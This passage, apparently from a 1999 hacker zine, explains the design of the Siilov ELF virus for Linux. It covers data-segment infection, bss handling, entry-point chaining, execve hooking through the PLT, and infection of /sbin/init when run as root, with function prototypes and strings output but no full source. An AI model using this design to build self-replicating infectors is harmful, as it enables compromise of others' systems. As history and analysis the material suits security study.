any keen user or virus scanner. This is also how the virus determines if an
|
|
executeable has already been infected - via the presence of a .data1
|
|
section.
|
|
|
|
ELF data infection has the side effect of modifying the bss section. The
|
|
bss section is used for unitialized data and occupies memory in the process
|
|
image but does not need to be stored on file because its initializtion of
|
|
zero is automatically handled by loading the process. To specify that the
|
|
process requires memory for the bss but does not require file space, the
|
|
program header has two fields, p_filesz and p_memsz for each segment. These
|
|
are the file size and memory sizes of the segment respectively, so to
|
|
indicate a bss of 8 bytes for example, the p_memsz field is 8 bytes greater
|
|
than the p_filesz field.
|
|
|
|
If new memory is to be inserted after the data segment, then the bss must be
|
|
modified because it occupies the last remaining memory of the original data
|
|
segment. To do this, a pseudo bss section is created by the virus which
|
|
stores the bss in the file image by occuping the original bss section with
|
|
zero data. The virus can then use the following data for its own devices.
|
|
|
|
The entry point of an infected program doesnt actually change when it becomes
|
|
infected. Instead, the entry point code changes so it jumps to the end of
|
|
the data segment (the location of the main virus code). The virus code is
|
|
then responsible for reconstructing the original code and jumping back when
|
|
the virus has finished its work. This procedure is called chaining.
|
|
|
|
|
|
[ chain ] --+
|
|
[ host ] |
|
|
[ virus ] <-+
|
|
[ virus.done ]
|
|
[ host.store ]
|
|
|
|
[ host.store ] <-+
|
|
[ host ] |
|
|
[ virus ] |
|
|
[ virus.done ] --+
|
|
[ host.store ]
|
|
|
|
* host.store is simply what would be in the original host instead of
|
|
the chain
|
|
|
|
Although not seen from the end point of view, the Siilov Virus
|
|
starts a new breed of developing viruses. It can be compiled straight out
|
|
of the box and run as a complete virus. It is developed in 95% portable C
|
|
code and 5% platform dependant code (assembler). It infects hosts by
|
|
extracting the virus directly from the processes memory image compared to
|
|
seeking to the virus in the infected binary using the argv vector to extract
|
|
the program name (as does the VIT Virus).
|
|
|
|
PROGRAM STRUCTURE
|
|
-----------------
|
|
|
|
void virfunc(void);
|
|
|
|
This function is the main virus code and is called from the chain code. It
|
|
is written in assembler and does such things as save the registers sets up
|
|
the plt, calls the rest of the virus that is written in C restores the
|
|
chain and transfers control back to the host. Remember that the memory
|
|
protection of the chain code must be changed to restore the chain code.
|
|
|
|
char *getdataseg(void);
|
|
|
|
Because the code must be relocatable, a pseudo data segment is created and
|
|
this function is responsible for returning a pointer to it. It houses such
|
|
strings as "vXXXXXX", "execve", ".data1", ".", ".rel.plt" and "/sbin/init".
|
|
|
|
int orig_plt_func(
|
|
const char *filename, const char *argv[], const char *envp[]
|
|
);
|
|
|
|
To call the original 'execve' call, 'orig_plt_func' is used.
|
|
|
|
int plt_execve(
|
|
const char *filename, const char *argv[], const char *envp[]
|
|
)
|
|
|
|
Infection of 'filename' occurs whenever this function is called. After
|
|
an attempt of infection occurs, a call to 'orig_plt_func' is made which does
|
|
the real execve.
|
|
|
|
void virchfunc(void);
|
|
|
|
'virchfunc' is the first code that gets executed. It is the chain routine
|
|
which simply transfers control to the 'virfunc'.
|
|
|
|
char *get_virus(void);
|
|
|
|
Dynamic determine the address of the virus.
|
|
|
|
void _memcpy(void *dst, void *src, int len);
|
|
int _strcmp(const char *p, const char *q);
|
|
|
|
These are support functions and are self explanatory.
|
|
|
|
int init_virus(
|
|
int plt, int data_start, int data_memsz, int entry, bin_t *bin
|
|
)
|
|
|
|
Initialize the virus prior to infection by setting the plt, entry point and
|
|
so forth with the correct values. Also copy the chain store so its available
|
|
for restoring the chain.
|
|
|
|
int do_elf_checks(Elf32_Ehdr *ehdr)
|
|
|
|
Determine if the ehdr represents an executeble i386 binary.
|
|
|
|
int do_dyn_symtab(
|
|
int fd,
|
|
Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
|
|
const char *sh_function
|
|
);
|
|
int get_sym_number(
|
|
int fd,
|
|
Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
|
|
);
|
|
int do_rel(int fd, Elf32_Shdr *shdr, int sym)
|
|
|
|
Support functions for 'find_rel'.
|
|
|
|
int find_rel(
|
|
int fd,
|
|
const char *string,
|
|
Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
|
|
const char *sh_function
|
|
)
|
|
|
|
Find the value of the dynamic function 'sh_function'.
|
|
|
|
int load_section(char **section, int fd, Elf32_Shdr *shdr)
|
|
int load_bin(int fd, bin_t *bin, const char *newsecstr)
|
|
void free_bin(bin_t *bin);
|
|
|
|
'load_bin' loads the binary into memory. 'load_section' is a support
|
|
function. 'free_bin' cleansup.
|
|
|
|
void memzero(char *ptr, int len)
|
|
int _strlen(const char *str)
|
|
|
|
void malloc_init(void)
|
|
void *_malloc(int size)
|
|
void _free(void *ptr)
|
|
void freeall(void)
|
|
|
|
All quite self explanatory except for the malloc routines. '_free' doesnt
|
|
actually do anything. 'freeall' is the only routine that frees memory.
|
|
This makes coding memory allocation routines alot easier at the expense of
|
|
not freeing memory until exit.
|
|
|
|
int try_infect(char *host)
|
|
|
|
The heart of the virus. Trys to infect a binary and returns 0 on success
|
|
and -1 on failure.
|
|
|
|
void _vstart(void)
|
|
|
|
The C routine that gets called from 'virfunc' (the first major assembler
|
|
virus routine that comes after being called from the chain). Does
|
|
initialization. If root try to infect /sbin/init and regardless do direct
|
|
infection in the current directory.
|
|
|
|
void virendall(void)
|
|
|
|
Signifies the end of the virus.
|
|
|
|
void _start(void)
|
|
|
|
Only present in the carrier and represents the entry point. Changes
|
|
memory protection of the virus so it can modify the pseudo data segment then
|
|
passes control to '_vstart'.
|
|
|
|
$ strings siilov-carrier.bin
|
|
PSQR
|
|
_ZY[X
|
|
vXXXXXX
|
|
execve
|
|
.data1
|
|
.rel.plt
|
|
/sbin/init
|
|
CAB9
|
|
(F9u
|
|
ELFu
|
|
4WVS
|
|
[09]
|
|
@09E
|
|
Siilov, Decemeber 1999, Silvio Cesare <silvio@big.net.au>
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
INSERT: graphic
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~
|
|
! In Conclusion ! the party programme
|
|
~!@#~!@#~!@#~!@#~
|
|
|
|
|
|
INSERT: In conclusion
|
|
|
|
[ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ]
|